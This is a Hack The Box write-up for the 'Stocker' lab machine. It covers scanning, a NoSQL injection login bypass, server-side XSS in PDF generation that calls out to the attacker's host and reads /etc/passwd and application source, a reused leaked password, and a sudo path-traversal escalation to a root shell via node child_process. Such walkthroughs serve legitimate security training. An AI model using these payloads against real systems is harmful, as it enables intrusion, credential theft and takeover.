Stocker HTB writeup
Posted on Sun 26 February 2023 in hackthebox
This is a writeup of the machine Stocker from Hack The Box.
As with all the machines on Hack The Box we start by performing an nmap scan against the machine: nmap -sC -sV -oA nmap/stocker 10.10.11.196
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-26 06:41 EST
Nmap scan report for 10.10.11.196
Host is up (0.030s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3d12971d86bc161683608f4f06e6d54e (RSA)
| 256 7c4d1a7868ce1200df491037f9ad174f (ECDSA)
|_ 256 dd978050a5bacd7d55e827ed28fdaa3b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://stocker.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.52 seconds
On port 80 we see a redirect to http://stocker.htb so we update /etc/hosts
:
10.10.11.196 stocker.htb
Directory enumeration
Enumerating the directories of http://stocker.htb/ didn't give any interesting results:
Subdomain enumeration
Instead we can fuzz for subdomains. Using gobuster with
gobuster dns \
-d stocker.htb \
-w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
and
gobuster dns \
-d stocker.htb \
-w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
didn't give any results. But using wfuzz like so:
wfuzz -c \
-w /usr/share/wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt \
-u 10.10.11.196 \
-H 'Host: FUZZ.stocker.htb' \
--hc 301
Resulted in the following subdomains found:
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.11.196/
Total requests: 100000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000022: 302 0 L 4 W 28 Ch "dev"
Total time: 0
Processed Requests: 100000
Filtered Requests: 99999
Requests/sec.: 0
So we add dev
to /etc/hosts
and go to http://dev.stocker.htb/.
There we are greated with the following login screen:
We start by inspecting the source code:
<meta name="generator" content="Hugo 0.84.0" />
Which gives us some interesting information: The site is built with Hugo a static site generator.
By inspecting the HTTP headers we find the following response header: X-Powered-By: Express
So we know that nodeJS is used in the backend.
NoSQL injection
With that in mind we might be able perform a NoSQL injection.
The doing the POST against the /login
endpoint as follows:
POST /login HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 49
Origin: http://dev.stocker.htb
Connection: close
Referer: http://dev.stocker.htb/login
Cookie: connect.sid=s%3AOayd8JIDCKXSSAF9eiYWzTIXaCuv-hz3.f9WJKK1zRr5cIHNOMPbK0tWyBge8ZldHIDmKUc08jZ8
Upgrade-Insecure-Requests: 1
{"username": {"$ne": null}, "password": {"$ne": null} }
We are able to login:
Enumerating the store
If one purchases an item in the Stockers store the product titlee is reflected in the invoice pdf. One could create an order as follows:
{"basket":[{"_id":"638f116eeb060210cbd83a8d","title":"BBBB","description":"It's a red cup.","image":"red-cup.jpg","price":1234,"currentStock":4,"__v":0,"amount":1}]}
and receives the following invoice:
If one inspects the pdf if exiftool
one can see that the PDF was generated with Skia/PDF m108
.
One may be able to achieve a Server Side XSS here.
For this we set the title to "<script>document.write(JSON.stringify(window.location))</script>"
which gives us the following PDF:
Now we need to check whether we can reach our own machine with: "<script>fetch('http://10.10.14.25')</script>"
We can use this to read /etc/passwd
with "<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open('GET','file:///etc/passwd');x.send();</script/>"
which gives us:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network
Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd
Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time
Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:113::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:114::/nonexistent:/usr/sbin/nologin
landscape:x:109:116::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core
Dumper:/:/usr/sbin/nologin
fwupd-refresh:x:112:119:fwupd-refresh
user,,,:/run/systemd:/usr/sbin/nologin
mongodb:x:113:65534::/home/mongodb:/usr/sbin/nologin
angoose:x:1001:1001:,,,:/home/angoose:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
We see a user www-data
with home /var/www
. Maybe the code for the app can be found in /var/www
.
"title":"<iframe width=700 height=1000 src=file:///var/www/dev/index.js></iframe>"
And indeed we find the source code and a mongodb connection string:
Maybe the password was reused so we try to login with the other use and the same password: ssh angoose@stocker.htb
with password IHeardPassphrasesArePrettySecure
.
This works so we can read the user flag.
Priviledge escalation
We start by running sudo -l
to see which commands angoose can run as root:
angoose can run arbitrary nodeJS scripts as root so one cound also run /usr/loca/scripts/../../../dev/shm/test.js
Hence we can do the following:
echo 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})' > /dev/shm/test.js